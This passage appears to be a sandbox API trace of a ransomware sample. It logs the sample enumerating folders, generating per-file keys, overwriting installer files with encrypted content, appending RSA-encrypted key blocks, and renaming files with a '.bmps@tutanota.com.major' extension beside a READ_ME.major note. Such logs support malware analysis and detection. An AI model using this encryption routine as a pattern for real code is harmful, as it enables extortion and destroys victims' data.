pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.408] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.408] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="z7kTb6uEzZ7MD8wWxoYJeJy/bCPEbFem9bwfTttsBuV5m/ONO/M6SeetqStDs3f6\n9qPRn0c9s6BAOhIPfz3gMuZL/z0dzO2KBCXlN1lfyOgDUmI1zjgaNf4q5U5/qdQG\nBgsa0oPEzh5v2kytv4BwIQDbZ3sryqMmMhY+xFjKPX8d4m+In6zBp7VE3JFKPhPS\n5QZbISG0RzTTXv1boVxnK2bpk6qDJlPgAptK2jHMHOS2uxc5QwjIck1C8mjml8fT\n/zY4u4SuLu5rTY/uxUt8EWfTqqN8netJUSVNVxzhYUDm2SnNQzKifG6CagvCZvdT\n0P9aUlnkXY4LbqDeIRzoTQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.408] WriteFile (in: hFile=0x4d0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.408] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.408] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.408] CloseHandle (hObject=0x4d0) returned 1 [0141.408] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.408] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1053\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0141.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0141.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0141.409] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x170fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b53f0 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b55b0 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55b0 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0141.410] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x170fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] GetLastError () returned 0x0 [0141.410] SetLastError (dwErrCode=0x0) [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b52b0 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52b0 | out: hHeap=0x570000) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0141.410] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.411] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0141.411] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffcabcd, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfffcabcd, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x170fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0141.411] GetLastError () returned 0x0 [0141.411] SetLastError (dwErrCode=0x0) [0141.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.412] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0141.412] GetLastError () returned 0x0 [0141.412] SetLastError (dwErrCode=0x0) [0141.412] GetLastError () returned 0x0 [0141.412] SetLastError (dwErrCode=0x0) [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0141.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0141.412] GetLastError () returned 0x0 [0141.412] SetLastError (dwErrCode=0x0) [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0141.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0141.412] FindNextFileW (in: hFindFile=0x5b53f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.412] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.412] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0141.412] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0141.412] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17752) returned 1 [0141.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x60d870 [0141.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x611dd0 [0141.413] ReadFile (in: hFile=0x4d4, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0141.472] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.472] WriteFile (in: hFile=0x4d4, lpBuffer=0x611dd0*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x611dd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0141.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x611dd0 | out: hHeap=0x570000) returned 1 [0141.472] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4558 [0141.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.472] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="u1wewCQcE7864poS5clob/x3FZ7NLlY9LyAb0aMkf4a/zOV7lP2L9vyhl6R2/+pi\nm1ca7PSabDpHgqmoj2JiQc+LnlMt/sIDjwWPArTxjBFb93LmZcbJJvL9CYV9sCTq\nfhPtT+m7cqgxpFlrafoDPauU4L6Hm8WSJ5FhypuBcN5okJOsqBA4KW89J2n7JDzA\nMWZTk1u2qdojWWm4u6Ng8g5l8101p/v81xcDhPIasqz73wOR9hFpZCfsHmbXD70p\nZ1fm2b7u8pZYwmmEhyXshcv3PJL8GimUJr8hZzKIhn19LIcnddYWlOVDqzzwPn/K\nTTdlhQBw/niBW0CcGkxFXQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.473] WriteFile (in: hFile=0x4d4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.473] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.473] CloseHandle (hObject=0x4d4) returned 1 [0141.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.473] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0141.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.475] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.475] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0141.475] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0141.475] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76818) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c12) returned 0x60d870 [0141.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c12) returned 0x2f40048 [0141.476] ReadFile (in: hFile=0x4d4, lpBuffer=0x60d870, nNumberOfBytesToRead=0x12c12, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x12c12, lpOverlapped=0x0) returned 1 [0141.510] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-76818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.510] WriteFile (in: hFile=0x4d4, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x12c12, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12c12, lpOverlapped=0x0) returned 1 [0141.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.514] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12c12 [0141.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.514] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.515] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.515] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.515] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.515] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="BL5yMUYsrI3DOxs4NGiFzCLgHtnJYAQtq6gpjcCyXrmts1mDu3hUTuyqdvLCPD2u\nd3ThiFpfkzIrfBXpX+4LtlXIZRr7MPUb6/2aYwyD+rDseksKQKrVN68aYdDg+Mih\n4qdPTyxQrENqnrNoa4oCa0p9a8cm1g46kHzEE+8J343F/84cp06SsfbhHVgry5pj\nKzKI0k4g/+ryFf8WS6PrJmJQQpExhEpxHoqaDc+VSq0DGnY11vkYhjUZTxGFQNic\nuTmUXCKmkW+E4F0/y+901FvlnFGqFx63FCu3HmOBFOanyEtMWbxlfcC3fDsiV57t\nLD0Y21t+AIJSQkoJffY3sg==\n", pcchString=0x2e3f9a8) returned 1 [0141.515] WriteFile (in: hFile=0x4d4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.515] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.515] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.515] CloseHandle (hObject=0x4d4) returned 1 [0141.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.516] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0141.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0141.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0141.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.517] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.517] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0141.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 